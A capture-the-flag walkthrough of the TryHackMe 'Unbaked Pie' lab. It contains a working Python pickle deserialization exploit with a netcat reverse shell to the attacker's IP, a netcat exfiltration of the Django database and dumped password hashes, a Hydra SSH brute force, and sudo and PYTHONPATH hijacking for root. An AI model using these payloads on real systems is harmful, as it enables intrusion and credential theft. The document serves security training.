TryHackMe-Unbaked-Pie

From aldeid
Jump to navigation Jump to search

Don’t over-baked your pie!

Please allow 5 minutes for this instance to fully deploy before attacking. This VM was developed in collaboration with @ch4rm, thanks to him for the foothold and privilege escalation ideas.

User Flag

Services

Running Nmap will only reveal 1 open port:

PORT     STATE SERVICE    VERSION
5003/tcp open  filemaker?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Sat, 05 Jun 2021 05:28:13 GMT
|     Server: WSGIServer/0.2 CPython/3.8.6
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Vary: Cookie
|     Content-Length: 7453
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Set-Cookie: csrftoken=gUg8DDUyJ5P5vaMKslwVHlS7qW7Q5vYjs4UxckkYelW73hYuVAHq8hLZqB7EWefU; expires=Sat, 04 Jun 2022 05:28:13 GMT; Max-Age=31449600; Path=/; SameSite=Lax
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|     <meta name="description" content="">
|     <meta name="author" content="">
|     <title>[Un]baked | /</title>
|     <!-- Bootstrap core CSS -->
|     <link href="/static/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
|     <!-- Custom fonts for this template -->
|     <link href="/static/vendor/fontawesome-free/css/all.min.cs
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sat, 05 Jun 2021 05:28:13 GMT
|     Server: WSGIServer/0.2 CPython/3.8.6
|     Content-Type: text/html; charset=utf-8
|     X-Frame-Options: DENY
|     Vary: Cookie
|     Content-Length: 7453
|     X-Content-Type-Options: nosniff
|     Referrer-Policy: same-origin
|     Set-Cookie: csrftoken=rwqtwMQ29bIScFVPUUG4IoatqxRpw1jCThInxLE125FUHiakfnwMMATVxzIaymtl; expires=Sat, 04 Jun 2022 05:28:13 GMT; Max-Age=31449600; Path=/; SameSite=Lax
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
|     <meta name="description" content="">
|     <meta name="author" content="">
|     <title>[Un]baked | /</title>
|     <!-- Bootstrap core CSS -->
|     <link href="/static/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
|     <!-- Custom fonts for this template -->
|_    <link href="/static/vendor/fontawesome-free/css/all.min.cs

Django application

Browsing the robots.txt page leads to a 404 error page with the below debug message as DEBUG is set to True in the Django application. It discloses all possible locations in the application:

Page not found (404)
Request Method:     GET
Request URL:    http://10.10.101.128:5003/robots.txt

Using the URLconf defined in bakery.urls, Django tried these URL patterns, in this order:

    admin/
    [name='home']
    share [name='share']
    search [name='search']
    about [name='about']
    <slug:slug> [name='detail']
    accounts/
    ^static/(?P<path>.*)$
    ^media/(?P<path>.*)$

The current path, robots.txt, didn't match any of these.

Pickle in the search

Intercepting all requests in BurpSuite leads to understanding that there is a pickle stored in the search_cookie:

HTTP/1.1 200 OK
Date: Sat, 05 Jun 2021 05:59:09 GMT
Server: WSGIServer/0.2 CPython/3.8.6
Content-Type: text/html; charset=utf-8
X-Frame-Options: DENY
Vary: Cookie
Content-Length: 5878
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Set-Cookie:  search_cookie="gASVCQAAAAAAAACMBWFwcGxllC4="; Path=/
Set-Cookie:  csrftoken=UUD6QtcPz63MKhSdQJgK91xyDjsWUxWIrN8wR9LOLwJffuO3EQzY5Ul2kkccId2f; expires=Sat, 04 Jun 2022 05:59:09 GMT; Max-Age=31449600; Path=/; SameSite=Lax

This seems to be a pickle string that stores the content of the last searched string:

$ python3            
>>> import pickle
>>> import base64
>>> s = "gASVCQAAAAAAAACMBWFwcGxllC4="
>>> base64.b64decode(s)
b'\x80\x04\x95\t\x00\x00\x00\x00\x00\x00\x00\x8c\x05apple\x94.'
>>> pickle.loads(base64.b64decode(s))
'apple'

Exploit

Searching for exploits on python pickles led me to this resource, and I adapted the script to make a reverse shell:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.50.72 4444 > /tmp/f')
        return os.system, (cmd,)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))

Running the script gives me the following base64 encoded pickle:

$ python3 makepickle.py 
b'gASVaAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjE1ybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAxMC44LjUwLjcyIDQ0NDQgPi90bXAvZpSFlFKULg=='

Now, intercept the request in BurpSuite and modify the value of the search_cookie:

POST /search HTTP/1.1
Host: 10.10.101.128:5003
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.101.128:5003/search
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: http://10.10.101.128:5003
Connection: close
Cookie: csrftoken=UUD6QtcPz63MKhSdQJgK91xyDjsWUxWIrN8wR9LOLwJffuO3EQzY5Ul2kkccId2f; search_cookie="gASVaAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjE1ybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyAxMC44LjUwLjcyIDQ0NDQgPi90bXAvZpSFlFKULg=="
Upgrade-Insecure-Requests: 1

csrfmiddlewaretoken=bU0PAWeQasy8PgUEVezIo4poKG4QSGq0INvfBCNPmSeBktQuJlSWkXdSrHO6Gmwx&query=apple

Now we have a reverse shell. We are root but there is no flag in the /root directory, and it seems that we are running in a docker environment:

┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ nc -nlvp 4444         
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.101.128] 36542
/bin/sh: 0: can't access tty; job control turned off
# python3 -c "import pty;pty.spawn('/bin/bash')"
root@8b39a559b296:/home# id
id
uid=0(root) gid=0(root) groups=0(root)
root@8b39a559b296:/home# cd /root
cd /root
root@8b39a559b296:~# ll
ll
bash: ll: command not found
root@8b39a559b296:~# ls -la
ls -la
total 36
drwx------ 1 root root 4096 Oct  3  2020 .
drwxr-xr-x 1 root root 4096 Oct  3  2020 ..
-rw------- 1 root root  889 Oct  6  2020 .bash_history
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x 3 root root 4096 Oct  3  2020 .cache
drwxr-xr-x 3 root root 4096 Oct  3  2020 .local
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rw------- 1 root root    0 Sep 24  2020 .python_history
drwx------ 2 root root 4096 Oct  3  2020 .ssh
-rw-r--r-- 1 root root  254 Oct  3  2020 .wget-hsts
root@8b39a559b296:/home/site# ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

Evade docker

The .bash_history file discloses and interesting command, and we understand that ramsey is a valid user to the SSH connection to the main host.

root@8b39a559b296:/home/site# cat /root/.bash_history
cat /root/.bash_history
nc
exit
ifconfig
ip addr
ssh 172.17.0.1
ssh 172.17.0.2
exit
ssh [email protected]
exit
cd /tmp
wget https://raw.githubusercontent.com/moby/moby/master/contrib/check-config.sh
chmod +x check-config.sh
./check-config.sh 
nano /etc/default/grub
vi /etc/default/grub
apt install vi
apt update
apt install vi
apt install vim
apt install nano
nano /etc/default/grub
grub-update
apt install grub-update
apt-get install --reinstall grub
grub-update
exit
ssh [email protected] <---------------------- interesting
exit
ssh [email protected]
exit
ls
cd site/
ls
cd bakery/
ls
nano settings.py 
exit
ls
cd site/
ls
cd bakery/
nano settings.py 
exit
apt remove --purge ssh
ssh
apt remove --purge autoremove open-ssh*
apt remove --purge autoremove openssh=*
apt remove --purge autoremove openssh-*
ssh
apt autoremove openssh-client
clear
ssh
ssh
ssh
exit

Database

However, we don’t know ramsey’s password. I first tried to get the sqlite3 database (Django database) to find credentials, but it seemed to be a rabbit hole.

In Kali:

┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ nc -l -p 9999 > db.sqlite3

On the target:

root@8b39a559b296:/home/site# nc -w 3 10.8.50.72 9999 < db.sqlite3
nc -w 3 10.8.50.72 9999 < db.sqlite3

We can dump the auth_user table:

┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ sqlite3 db.sqlite3      
sqlite> .tables
auth_group                  django_admin_log          
auth_group_permissions      django_content_type       
auth_permission             django_migrations         
auth_user                   django_session            
auth_user_groups            homepage_article          
auth_user_user_permissions
sqlite> select * from auth_user;
1|pbkdf2_sha256$216000$3fIfQIweKGJy$xFHY3JKtPDdn/AktNbAwFKMQnBlrXnJyU04GElJKxEo=|2020-10-03 10:43:47.229292|1|aniqfakhrul|||1|1|2020-10-02 04:50:52.424582|
11|pbkdf2_sha256$216000$0qA6zNH62sfo$8ozYcSpOaUpbjPJz82yZRD26ZHgaZT8nKWX+CU0OfRg=|2020-10-02 10:16:45.805533|0|testing|||0|1|2020-10-02 10:16:45.686339|
12|pbkdf2_sha256$216000$hyUSJhGMRWCz$vZzXiysi8upGO/DlQy+w6mRHf4scq8FMnc1pWufS+Ik=|2020-10-03 10:44:10.758867|0|ramsey|||0|1|2020-10-02 14:42:44.388799|
13|pbkdf2_sha256$216000$Em73rE2NCRmU$QtK5Tp9+KKoP00/QV4qhF3TWIi8Ca2q5gFCUdjqw8iE=|2020-10-02 14:42:59.192571|0|oliver|||0|1|2020-10-02 14:42:59.113998|
14|pbkdf2_sha256$216000$oFgeDrdOtvBf$ssR/aID947L0jGSXRrPXTGcYX7UkEBqWBzC+Q2Uq+GY=|2020-10-02 14:43:15.187554|0|wan|||0|1|2020-10-02 14:43:15.102863|

But I was not able to crack these hashes (aborted the hashcat process after 2 hours).

$ cat ramsey.hash
ramsey:pbkdf2_sha256$216000$hyUSJhGMRWCz$vZzXiysi8upGO/DlQy+w6mRHf4scq8FMnc1pWufS+Ik=
$ hashcat -m 10000 --username ramsey.hash /usr/share/wordlists/rockyou.txt

Brute force ramsey’s SSH account

Neither ssh nor socat are installed on the docker container. Let’s use chisel.

On Kali:

┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ ./chisel server -p 2223 --reverse

On the target:

root@8b39a559b296:/home# ./chisel client 10.8.50.72:2223 R:22:172.17.0.1:22

Now, let’s crack ramsey’s accont:

┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ hydra -l ramsey -P /usr/share/wordlists/rockyou.txt ssh://localhost                                        255 ⨯
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-05 09:26:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://localhost:22/
[22][ssh] host: localhost   login: ramsey   password: 12345678
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-05 09:26:44

Ramsey’s flag

We can now connect as ramsey:

┌──(kali㉿kali)-[/data/tryhackme/Unbaked_Pie/files]
└─$ sshpass -p "12345678" ssh ramsey@localhost                                                                127 ⨯
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-186-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


39 packages can be updated.
26 updates are security updates.


Last login: Tue Oct  6 22:39:31 2020 from 172.17.0.2
ramsey@unbaked:~$ ll
total 48
drwxr-xr-x 5 ramsey ramsey 4096 Oct  6  2020 ./
drwxr-xr-x 4 root   root   4096 Oct  3  2020 ../
-rw------- 1 root   root      1 Oct  5  2020 .bash_history
-rw-r--r-- 1 ramsey ramsey 3771 Oct  3  2020 .bashrc
drwx------ 3 ramsey ramsey 4096 Oct  3  2020 .cache/
drwx------ 4 ramsey ramsey 4096 Oct  3  2020 .local/
drwxrwxr-x 2 ramsey ramsey 4096 Oct  3  2020 .nano/
-rwxrw-r-- 1 ramsey ramsey 1645 Oct  3  2020 payload.png*
-rw-r--r-- 1 ramsey ramsey  655 Oct  3  2020 .profile
-rw-r--r-- 1 root   root     38 Oct  6  2020 user.txt
-rw-r--r-- 1 root   ramsey 4369 Oct  3  2020 vuln.py
ramsey@unbaked:~$ cat user.txt 
THM{ce778dd41bec31e1daed77ebebcd7423}

User flag: THM{ce778dd41bec31e1daed77ebebcd7423}

Root Flag

Lateral move (ramsey -> oliver)

Ramsey can run vuln.py as oliver:

ramsey@unbaked:~$ sudo -l
[sudo] password for ramsey: 
Matching Defaults entries for ramsey on unbaked:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User ramsey may run the following commands on unbaked:
    (oliver) /usr/bin/python /home/ramsey/vuln.py

Below is the content of the script:

ramsey@unbaked:~$ cat vuln.py 
#!/usr/bin/python
# coding=utf-8

try:
    from PIL import Image
except ImportError:
    import Image
import pytesseract
import sys
import os
import time


#Header
def header():
    banner = '''\033[33m                                             
                      (
                       )
                      __..---..__
                  ,-='  /  |  \  `=-.
                 :--..___________..--;
                  \.,_____________,./
         

██╗███╗   ██╗ ██████╗ ██████╗ ███████╗██████╗ ██╗███████╗███╗   ██╗████████╗███████╗
██║████╗  ██║██╔════╝ ██╔══██╗██╔════╝██╔══██╗██║██╔════╝████╗  ██║╚══██╔══╝██╔════╝
██║██╔██╗ ██║██║  ███╗██████╔╝█████╗  ██║  ██║██║█████╗  ██╔██╗ ██║   ██║   ███████╗
██║██║╚██╗██║██║   ██║██╔══██╗██╔══╝  ██║  ██║██║██╔══╝  ██║╚██╗██║   ██║   ╚════██║
██║██║ ╚████║╚██████╔╝██║  ██║███████╗██████╔╝██║███████╗██║ ╚████║   ██║   ███████║
╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝  ╚═══╝   ╚═╝   ╚══════╝
\033[m'''
        return banner

#Function Instructions
def instructions():
    print "\n\t\t\t",9 * "-" , "WELCOME!" , 9 * "-"
    print "\t\t\t","1. Calculator"
    print "\t\t\t","2. Easy Calculator"
    print "\t\t\t","3. Credits"
    print "\t\t\t","4. Exit"
    print "\t\t\t",28 * "-"

def instructions2():
    print "\n\t\t\t",9 * "-" , "CALCULATOR!" , 9 * "-"
    print "\t\t\t","1. Add"
    print "\t\t\t","2. Subtract"
    print "\t\t\t","3. Multiply"
    print "\t\t\t","4. Divide"
    print "\t\t\t","5. Back"
    print "\t\t\t",28 * "-"
    
def credits():
    print "\n\t\tHope you enjoy learning new things  - Ch4rm & H0j3n\n"
    
# Function Arithmetic

# Function to add two numbers  
def add(num1, num2): 
    return num1 + num2 
  
# Function to subtract two numbers  
def subtract(num1, num2): 
    return num1 - num2 
  
# Function to multiply two numbers 
def multiply(num1, num2): 
    return num1 * num2 
  
# Function to divide two numbers 
def divide(num1, num2): 
    return num1 / num2 
# Main      
if __name__ == "__main__":
    print header()
    
    #Variables
    OPTIONS = 0
    OPTIONS2 = 0
    TOTAL = 0
    NUM1 = 0
    NUM2 = 0

    while(OPTIONS != 4):
        instructions()
        OPTIONS = int(input("\t\t\tEnter Options >> "))
            print "\033c"
        if OPTIONS == 1:
            instructions2()
            OPTIONS2 = int(input("\t\t\tEnter Options >> "))
            print "\033c"
            if OPTIONS2 == 5:
                continue
            else:
                NUM1 = int(input("\t\t\tEnter Number1 >> "))
                NUM2 = int(input("\t\t\tEnter Number2 >> "))
                if OPTIONS2 == 1:
                    TOTAL = add(NUM1,NUM2)
                if OPTIONS2 == 2:
                    TOTAL = subtract(NUM1,NUM2)
                if OPTIONS2 == 3:
                    TOTAL = multiply(NUM1,NUM2)
                if OPTIONS2 == 4:
                    TOTAL = divide(NUM1,NUM2)
                print "\t\t\tTotal >> $",TOTAL
        if OPTIONS == 2:
            animation = ["[■□□□□□□□□□]","[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]", "[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"]

            print "\r\t\t\t     Waiting to extract..."
            for i in range(len(animation)):
                time.sleep(0.5)
                sys.stdout.write("\r\t\t\t         " + animation[i % len(animation)])
                sys.stdout.flush()

            LISTED = pytesseract.image_to_string(Image.open('payload.png')) 

            TOTAL = eval(LISTED)
            print "\n\n\t\t\tTotal >> $",TOTAL
        if OPTIONS == 3:
            credits()
    sys.exit(-1)

At this stage, it seems we have 2 ways of moving forward. Either we find an exploit on the python script itself, or we replace the content of the script, as it is in our home folder.

The script is owned by root and we only have read access to the file:

ramsey@unbaked:~$ ls -l /home/ramsey/vuln.py 
-rw-r--r-- 1 root ramsey 4369 Oct  3  2020 /home/ramsey/vuln.py

However, the file is in our home folder, and we can rename it. Let’s take advantage of this to replace its content:

ramsey@unbaked:~$ cat > /home/ramsey/vuln2.py << EOF
> #!/usr/bin/python
> import pty
> pty.spawn('/bin/bash')
> EOF
ramsey@unbaked:~$ mv vuln.py vuln.bak
ramsey@unbaked:~$ cp vuln2.py vuln.py 

Now, running our modified copy will grant access as oliver:

ramsey@unbaked:~$ sudo -u oliver /usr/bin/python /home/ramsey/vuln.py
oliver@unbaked:~$ id
uid=1002(oliver) gid=1002(oliver) groups=1002(oliver),1003(sysadmin)

Privilege escalation

Our new user can run dockerScript.py as root without password, and can set the environment variable as well (SETENV).

oliver@unbaked:~$ sudo -l
Matching Defaults entries for oliver on unbaked:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User oliver may run the following commands on unbaked:
    (root) SETENV: NOPASSWD: /usr/bin/python /opt/dockerScript.py

The script is importing the docker library:

oliver@unbaked:~$ ls -l /opt/dockerScript.py 
-rwxr-x--- 1 root sysadmin 290 Oct  3  2020 /opt/dockerScript.py
oliver@unbaked:~$ cat /opt/dockerScript.py 
import docker

# oliver, make sure to restart docker if it crashes or anything happened.
# i havent setup swap memory for it
# it is still in development, please dont let it live yet!!!
client = docker.from_env()
client.containers.run("python-django:latest", "sleep infinity", detach=True)

As we can set the environment variable, let’s create our own docker library:

oliver@unbaked:/home/oliver$ cat > /home/oliver/docker.py << EOF
> import pty
> pty.spawn('/bin/bash')
> EOF

Now, we can run the script as follows, to get a root access:

oliver@unbaked:/home/oliver$ sudo PYTHONPATH=/home/oliver /usr/bin/python /opt/dockerScript.py
root@unbaked:/home/oliver# id
uid=0(root) gid=0(root) groups=0(root)
root@unbaked:/home/oliver# cat /root/
.bash_history  .cache/        .profile       
.bashrc        .nano/         root.txt       
root@unbaked:/home/oliver# cat /root/root.txt 
CONGRATS ON PWNING THIS BOX!
Created by ch4rm & H0j3n
ps: dont be mad us, we hope you learn something new

flag: THM{1ff4c893b3d8830c1e188a3728e90a5f}

Root flag: THM{1ff4c893b3d8830c1e188a3728e90a5f}